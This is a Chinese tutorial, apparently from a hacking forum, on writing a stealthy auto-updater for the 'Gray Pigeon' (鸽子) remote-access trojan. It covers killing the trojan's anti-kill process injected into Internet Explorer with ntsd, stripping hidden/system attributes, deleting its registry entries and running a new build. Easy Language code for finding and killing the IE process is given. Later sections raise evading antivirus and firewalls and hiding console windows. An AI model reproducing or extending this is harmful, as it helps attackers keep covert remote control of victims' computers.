. 制作原因:鸽子不支持在线更新
2. 更新方式:电脑启动后或实时更新等 [当前教程介绍启动后更新 增加隐蔽性]
3. 程序思路:
获取最新版本 à 提取当前版本 à 判断 à 如有新版本 à 下载更新 à 过程处理
4. 过程处理:
对鸽子有过观察的就会知道 当鸽子被运行后 如果再执行同样的操作 也就是说再运行一次前面运行过的鸽子是不会被执行 所以要将这个过程考虑进去 比如说鸽子插入的进程 写入的服务等
5. 处理讲解:
鸽子的进程 各版本插入的进程基本相似 [VIP2005的有插入 Explorer.exe VIP2007有多种方式等] 教程以 黑防鸽子未修改插入进程 VIP2006其一做示例 因为是插入IE 进程 而且进程具有防杀功能 所以直接可以使用 “Taskkill”命令进行终止时不行的 需要使用 “Ntsd” 命令进行终止 [教程重点代码及详讲PID] 对鸽子有所了解的也知道 在鸽子运行时 程序本体及写出的DLL是被赋予属性的 隐藏 只读 系统文件等且不能直接删除 当鸽子进程被终止时 就可以使用 “Attrib” 命令进行去除属性然后删除 还有是删除注册表的项和值 这里需要注意的是 并不能直接删除整个项 必须先删除项里面的值 处理完旧鸽子后 就可以运行新的鸽子 之后就是对更新程序自身的处理 还需要注意的是这并不是一个完整的方式 程序运行前需要考虑 杀毒软件 防火墙 程序如何更隐蔽的自启动等
6. 程序演示:
写一个数值文本 à 同一目录下放置更新文件
[教程示例文本名称为Update.txt 更新文件为Update.exe ]
' 重点代码
运行 (“Cmd /c Tasklist >>” + 读环境变量 (“Windir”) + “\System32\Outsider_IE.txt”, 真, 1) ' 获取进程列表 使用“Tasklist”命令获取进程列表及其他信息到文本文件 [命令资料自行到网上查阅]
进程列表 = 到文本 (读入文件 (读环境变量 (“Windir”) + “\System32\Outsider_IE.txt”)) ' 读入文本文件里的进程列表到 “进程列表” 变量 需要完成到文本的转换
加入成员 (文本, 分割文本 (进程列表, #换行符, )) ' 分割 “进程列表” 变量到 “文本” 变量 以换行符进行分割
.计次循环首 (取数组成员数 (文本), 计次)‘取得 “文本” 分割后的数组 将循环次数写入 “计次” 变量内
.如果真 (寻找文本 (文本 [计次], “iexplore.exe”, , 真) ≠ -1) ' 查找被分割的“文本” 变量存在关键字“iexplore.exe”的行
PID = 子文本替换 (删全部空 (取文本中间 (文本 [计次], 29, 15)), “Console”, “”, , , 假) ' 利用取文本中间 获得进程PID [进程PID资料自行到网上查阅]
运行 (“Cmd /c Ntsd -c q -p ” + PID, 真, 6) ' 使用命令 Ntsd 终止IE进程 [命令资料自行到网上查阅]
.如果真结束
.计次循环尾 ()
7. 后续思考:
如何处理 使用命令“Ntsd”终止IE进程时 出现的DOS闪窗
如果未连接如何延时或判断一直到登入网络 完成更新
有没有办法让更新程序连接网络
完成程序各种优化和问题处理
8. 教程申明:如发现教程有错或其他问题请原谅 如不嫌弃感谢提出
请勿索要完整源码 谢谢!

您当前的位置:
